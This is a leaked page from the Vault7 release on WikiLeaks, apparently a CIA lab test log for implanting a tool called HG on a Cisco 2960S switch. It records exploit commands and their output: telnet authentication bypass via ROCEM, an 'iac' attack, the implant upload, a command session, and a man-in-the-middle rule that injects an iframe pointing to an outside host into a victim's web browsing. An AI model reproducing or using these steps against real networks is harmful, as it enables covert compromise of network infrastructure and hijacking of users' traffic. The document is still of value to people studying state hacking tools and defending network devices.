Vault7: CIA Hacking Tools Revealed

Navigation: » Latest version

Owner: User #71467

JQJHAIRPIECE - HG Testing

HG was delivered for JQJHAIRPIECE on 8/21/2015 for the Cisco 2960S. CONOP will be to FLXFluxwire to 192.168.3.40 and then . Testing will be limited to performance testing and SMITE in order to provide a quick turn around for Operator. Also need to test SMITE rules that exclude an internal web server (Xetron can help GIPPLE craft these rules).

Testing summary

Testing Notes

Information about target:

WS-C2960S-24PD-L (testing used WS-C2960S-24PS-L)
Boot loader version 12.2(55r)SE (testing used 12.2(55r)SE1)
IOS c2960s-universalk9-mz.122-55.SE8.bin
Local authentication
7 interfaces up - 1,5,6,9,10,20,24
- ports 1,5,6,10 are in VLANVirtual Local Area Network 3
- port 20 is in VLANVirtual Local Area Network 8
- port 24 is uplink trunk
MGMT IP - int vlan 10 - 192.168.10.136
Client mode for VTPVLANVirtual Local Area Network Trunk Protocol domain cisco
VLANS configured - 1 - 12
Upstream router - WS-3560G-24-TS running IOSApple operating system for small devices C3560-IPSERVICESK9-M, version 12.2(55)SE9. (testing used WS-C3560G-24PS running IOS C3560-IPSERVICESK9-M, version 12.2(55)SE8)
Downstream switch - 2960

VMS used

Hairpiece-ICON-172.20.12.30
Hairpiece-Seeds-Fedora10 192.168.3.10
Hairpiece-Flux-192.168.3.40
Hairpiece-Victim - 192.168.10.11

Smoke Test - Use ROCEM to throw HG via FLUX
1. Configured Seeds traffic on Seeds VMVirtual Machine for Hairpiece network and started ARP, DNSDomain Name System and HTTPSHypertext Transfer Protocol Secure seeds traffic
2. Successfully established FLUX connection from Hairpiece-Icon to hairpiece-Flux at 192.168.3.40.
3. Sucessfully established rocem interactive mode via flux
4. Set rocem
5. Could not set/unset rocem through flux, but tried outside of flux and it works fine. For purposes of smoke testing, continuing without flux.
6. Set rocem outside of flux
7. Attacked with iac
  root@hairpiece-icon:/home/user1/rocem/ops/hairpiece/hairpiece-1h/attack/linux# ./iac --ip 192.168.10.136 --l cisco:test test
  LG
  EC -125
  DH
  EC -159
  M
  root@hairpiece-icon:/home/user1/rocem/ops/hairpiece/hairpiece-1h/attack/linux#
8. Installed HG with remote:
  
  GOOD - status OK.
  OP: RUNCODE using Per Second
  Code address: 0x044efd34
  No data
  Result: 0x00000001
9. Established CTCounter Terrorism session on port 444 since flux was using port 443. Used Seeds host as IP to trigger.
  > ilm listen hairpiece-1h.txt
  
  Listening for clients on port 444...
  Accepted connection from 192.168.3.10:15890
  Attempting SSLSecure Socket Layer Handshake...
  SSL Handshake Successful!
  [Success]
  New Key: lMzoTDqJUimWHf*yOQXqdzvFrk*LgsOzKIqu8blZt98=
  ************ Success ************
  [ilm listen hairpiece-1h.txt]
  
  [192.168.3.10]>
10. Created mitm rule:
  [192.168.3.10]> mitm create http_iframe 192.168.10.11 255.255.255.0 0 0 X.X.X.XX (LVLT-GOGL-8-8-8[US]) 255.255.255.0 80 80 "http://X.X.X.XX (LVLT-GOGL-8-8-8[US]):8888/?promo_code=1Z45RDJ" -en -bc -bk
  [Pending]
  Job: 136300776
  ************ Pending ************
  [mitm create http_iframe 192.168.10.11 255.255.255.0 0 0 X.X.X.XX (LVLT-GOGL-8-8-8[US]) 255.255.255.0 80 80 http://X.X.X.XX (LVLT-GOGL-8-8-8[US]):8888/?promo_code=1Z45RDJ -en -bc -bk]
  
  [192.168.3.10]> [Success]
11. Web browsed from Victim and received iframe:
  <body><iframe src="http://X.X.X.XX (LVLT-GOGL-8-8-8[US]):8888/?promo_code=1Z45RDJ"
12. Uninstalled HG:
  [192.168.3.10]> device uninstall_hg -f
  
  Warning!!!
  This command will remove all capabilities.
  If installed, EVExecution Vector capabilities will be wiped, but MAY LEAVE BEHIND ARTIFACTS
  Memory permissions will not be reset. See Operational Use Notes for more information.
  This connection will be terminated as a result of this command.
  
  Do you wish to continue?
  Enter yes or no: yes
  
  [Success]
  ************ Success ************
  [device uninstall_hg -f]
  
  [192.168.3.10]> [Remote Failure]
  ************ Remote Failure ************
  Connection to device lost!!
Characterization of ROCEM issues with Flux
1. Collected wiresharks of failed set attempts and successful interactive attempts from flux, icon, and rocem log files and sent all to Xetron.
2. Tried using -c flag to change chunk size in ROCEM and tried every size in increments of 50 between 100 and 1500 - ROCEM still would not set through flux.
3. Tried building a flux node with mtu set to 1500 - no luck, ROCEM would not work.
4. Tried using a different flux node, from CMNCaiman (Codename)? testing, at 172.20.19.11 to attempt to flux from outside the network - no difference, rocem would not set.
IXIA performance test - Baseline - no HG
1. Reloaded DUTDevice Under Test to start with a clean configuration
2. Set up IXIA test to run on clean device using Hairpiece NN and the following test parameters:
  1. 50M of constant traffic
  2. 50 internal hosts
  3. 50 upstream hosts
  4. 4 hour test kicked off at 11:40
3. Test complete, saved solarwinds grapsh of CPU, MEM and latency. No alarming spikes, switch was not stressed with this amount of traffic.
4. Saved test report to share as well.
IXIA performance test - Repeat test 3 but with HG installed
1. Reload DUTDevice Under Test to start with a clean device
2. Set ROCEM without using flux
3. Attacked with IACInternational Access Code and uploaded HG
4. Established CTCounter Terrorism session
5. Kicked off IXIA test at 4:30 PM
6. Collected output including report and solarwinds and saved to share. Basically no impact when HG added at 50M of traffic.
IXIA performance test - Higher stress - 500M test - no HG
1. Reload DUTDevice Under Test to start with a clean device
2. Setup IXIA to run with same parameters as Test 3, except 500M of traffic - Kicked off at 4:20
3. Collected Report and solarwinds graphs
IXIA performance test - Repeat test 5 but with HG installed
1. Reload DUTDevice Under Test to start with a clean device
2. Set ROCEM without using flux
3. Attack with IACInternational Access Code and upload HG
4. Establish CTCounter Terrorism session
5. Kick off IXIA test at 500M at 9:20 AM
Received ROCEM on 8/27/15 and began tests for fix to flux
1. Loaded new ROCEM v1.2 delivery to ICON workstation
2. Established flux connection from ICON to 192.168.3.40
3. Used ROCEM set command - successful:
  root@hairpiece-icon:/home/user1/rocem/ops/hairpiece/hairpiece-1r/rocem# ./rocem_c2960s-universalk9-mz.122-55.SE8.py -s -f fill.bin 192.168.10.136
  [+] Validating data/interactive.bin
  [+] Validating data/set.bin
  [+] Validating data/transfer.bin
  [+] Validating data/unset.bin
  
  ****************************************
  Image: c2960s-universalk9-mz.122-55.SE8
  Host: 192.168.10.136
  Action: Set
  ****************************************
  
  Proceed? (y/n)y
  [*] Attempting connection to host 192.168.10.136:23
  [+] Connection established
  [*] Sending Protocol Step 1
  [*] Sending Protocol Step 2
  [+] Done
4. Telnetted to cisco and was not prompted for creds
5. Unset ROCEM successfully:
  root@hairpiece-icon:/home/user1/rocem/ops/hairpiece/hairpiece-1r/rocem# ./rocem_c2960s-universalk9-mz.122-55.SE8.py -u -f fill.bin 192.168.10.136
  [+] Validating data/interactive.bin
  [+] Validating data/set.bin
  [+] Validating data/transfer.bin
  [+] Validating data/unset.bin
  
  ****************************************
  Image: c2960s-universalk9-mz.122-55.SE8
  Host: 192.168.10.136
  Action: Unset
  ****************************************
  
  Proceed? (y/n)y
  [*] Attempting connection to host 192.168.10.136:23
  [+] Connection established
  [*] Sending Protocol Step 1
  [*] Sending Protocol Step 2
  [+] Done
6. Telnetted to device and was now prompted for creds again, indicating successful unset.
Smoke test of complete CONOPConcealed Operation through flux
1. Reloaded DUTDevice Under Test to start with a clean device\
2. Establish Flux tunne
3. Set ROCEM, IACInternational Access Code attack and upload HG
4. Establish HG Comms
5. Next step rebuild flux so icon doesn't listen on 443. Test smite rule.

Contact

Tor

Tails

Tips

1. Contact us if you have specific problems

2. What computer to use

3. Do not talk about your submission to others

After

1. Do not talk about your submission to others

2. Act normal

3. Remove traces of your submission

4. If you face legal action

Submit documents to WikiLeaks

Vault7: CIA Hacking Tools Revealed

JQJHAIRPIECE - HG Testing

Testing summary

Testing Notes

e-Highlighter